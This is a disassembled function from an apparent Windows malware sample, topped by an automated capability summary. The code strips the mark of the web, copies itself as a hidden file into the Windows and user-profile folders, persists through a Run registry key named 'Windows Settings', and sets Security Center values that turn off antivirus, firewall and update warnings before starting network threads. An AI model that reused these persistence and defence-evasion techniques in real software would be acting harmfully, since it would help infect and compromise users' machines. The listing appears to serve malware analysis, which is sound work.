Function at 0x405d60
Capabilities:
Bypass mark of the web
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create thread
Delete file
Initialize winsock library
Move file
Persist via run registry key
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc14
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x83c], 0x235a
mov eax, dword [ebp - 0x214]
cmp eax, dword [ebp - 0x83c]
jae 0x405de8
push str.235235235235
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x405dd7
push 0
push str.4624624626
push str.7247247247_
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push str.245245245245
push str.483828383
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.62427247
push str.246246246
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov ecx, dword [ebp - 0x214]
add ecx, 1
mov dword [ebp - 0x214], ecx
jmp 0x405d88
push str.x27x7x8x
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xa4c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x405e12
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x424], 0
mov dword [ebp - 0x20c], 1
push 0x105
push 0x416c30
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x416c30
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x210], eax
push 0x416c30
push str._s:Zone.Identifier
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea ecx, [ebp - 0xa48]
push ecx
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov dword [ebp - 0xbe4], str.TTTTTTTTTTTTTTTTTTTTR.exe
mov edx, dword [ebp - 0x210]
mov dword [ebp - 0xbe8], edx
mov eax, dword [ebp - 0xbe8]
mov cx, word [eax]
mov word [ebp - 0xbea], cx
mov edx, dword [ebp - 0xbe4]
cmp cx, word [edx]
jne 0x405f03
cmp word [ebp - 0xbea], 0
je 0x405ef7
mov eax, dword [ebp - 0xbe8]
mov cx, word [eax + 2]
mov word [ebp - 0xbec], cx
mov edx, dword [ebp - 0xbe4]
cmp cx, word [edx + 2]
jne 0x405f03
add dword [ebp - 0xbe8], 4
add dword [ebp - 0xbe4], 4
cmp word [ebp - 0xbec], 0
jne 0x405e9d
mov dword [ebp - 0xbf0], 0
jmp 0x405f0e
sbb eax, eax
sbb eax, 0xffffffff
mov dword [ebp - 0xbf0], eax
mov ecx, dword [ebp - 0xbf0]
mov dword [ebp - 0xbf4], ecx
cmp dword [ebp - 0xbf4], 0
je 0x40618a
call fcn.0040d130
movzx edx, al
cmp edx, 1
jne 0x405f3c
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea eax, [ebp - 0x838]
push eax
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.TTTTTTTTTTTTTTTTTTTTR.exe
lea ecx, [ebp - 0x838]
push ecx
push 0x411234
lea edx, [ebp - 0x630]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea eax, [ebp - 0x630]
push eax
push 0x416c30
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x406069
push 3
lea ecx, [ebp - 0x630]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x424]
push edx
push 0x20006
push 0
push 0x411240
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40604a
lea eax, [ebp - 0x630]
mov dword [ebp - 0xbf8], eax
mov ecx, dword [ebp - 0xbf8]
add ecx, 2
mov dword [ebp - 0xbfc], ecx
mov edx, dword [ebp - 0xbf8]
mov ax, word [edx]
mov word [ebp - 0xbfe], ax
add dword [ebp - 0xbf8], 2
cmp word [ebp - 0xbfe], 0
jne 0x405fe0
mov ecx, dword [ebp - 0xbf8]
sub ecx, dword [ebp - 0xbfc]
sar ecx, 1
mov dword [ebp - 0xc04], ecx
mov edx, dword [ebp - 0xc04]
lea eax, [edx + edx + 2]
push eax
lea ecx, [ebp - 0x630]
push ecx
push 1
push 0
push str.Windows_Settings
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x630]
push ecx
call fcn.0040d3d0
add esp, 4
movzx edx, al
cmp edx, 1
jne 0x406069
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.TTTTTTTTTTTTTTTTTTTTR.exe
lea eax, [ebp - 0xa48]
push eax
push 0x4112a0
lea ecx, [ebp - 0x420]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x420]
push edx
push 0x416c30
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40618a
push 3
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x424]
push ecx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40616b
lea edx, [ebp - 0x420]
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xc08]
add eax, 2
mov dword [ebp - 0xc0c], eax
mov ecx, dword [ebp - 0xc08]
mov dx, word [ecx]
mov word [ebp - 0xc0e], dx
add dword [ebp - 0xc08], 2
cmp word [ebp - 0xc0e], 0
jne 0x406101
mov eax, dword [ebp - 0xc08]
sub eax, dword [ebp - 0xc0c]
sar eax, 1
mov dword [ebp - 0xc14], eax
mov ecx, dword [ebp - 0xc14]
lea edx, [ecx + ecx + 2]
push edx
lea eax, [ebp - 0x420]
push eax
push 1
push 0
push str.Windows_Settings
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x420]
push eax
call fcn.0040d3d0
add esp, 4
movzx ecx, al
cmp ecx, 1
jne 0x40618a
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x424]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4062a1
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x411330
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push 0x411344
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push 0x41135c
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x411370
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push 0x411384
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push 0x41139c
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x4113ac
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x424]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_CenterSvc
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4063ad
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.FirewallOverride
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.FirewallDisableNotify
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push str.AntiSpywareOverride
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.AntiVirusOverride
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.AntiVirusDisableNotify
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push str.UpdatesOverride
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.UpdatesDisableNotify
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040b130
movzx ecx, al
test ecx, ecx
je 0x406518
lea edx, [ebp - 0xbe0]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [ebp - 0xa48]
push eax
push str._s_tbnds.dat
push 0x416e40
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0xa48]
push ecx
push str._s_tbcmds.dat
push 0x416820
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push 0
push 0x404340
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x4053f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x405c40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00404540
call fcn.0040d060
call fcn.00405af0
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x417064], eax
call fcn.0040a860
mov dword [0x41706c], eax
call fcn.0040bb30
mov dword [0x417068], eax
call fcn.00409cb0
push 0
push 0
push 0
push 0x40bff0
push 0
mov edx, dword [0x417068]
push edx
call fcn.0040bbe0
add esp, 0x18
push 0
push 0
push 0
push 0x40bf50
push 0
mov eax, dword [0x417068]
push eax
call fcn.0040bbe0
add esp, 0x18
push 0
push 0
push 0
push 0x40bae0
push 0
mov ecx, dword [0x417068]
push ecx
call fcn.0040bbe0
add esp, 0x18
push 0
push 0
push 0
push 0x40b8e0
push 0
mov edx, dword [0x417068]
push edx
call fcn.0040bbe0
add esp, 0x18
jmp 0x40651c
xor eax, eax
mov esp, ebp
pop ebp
ret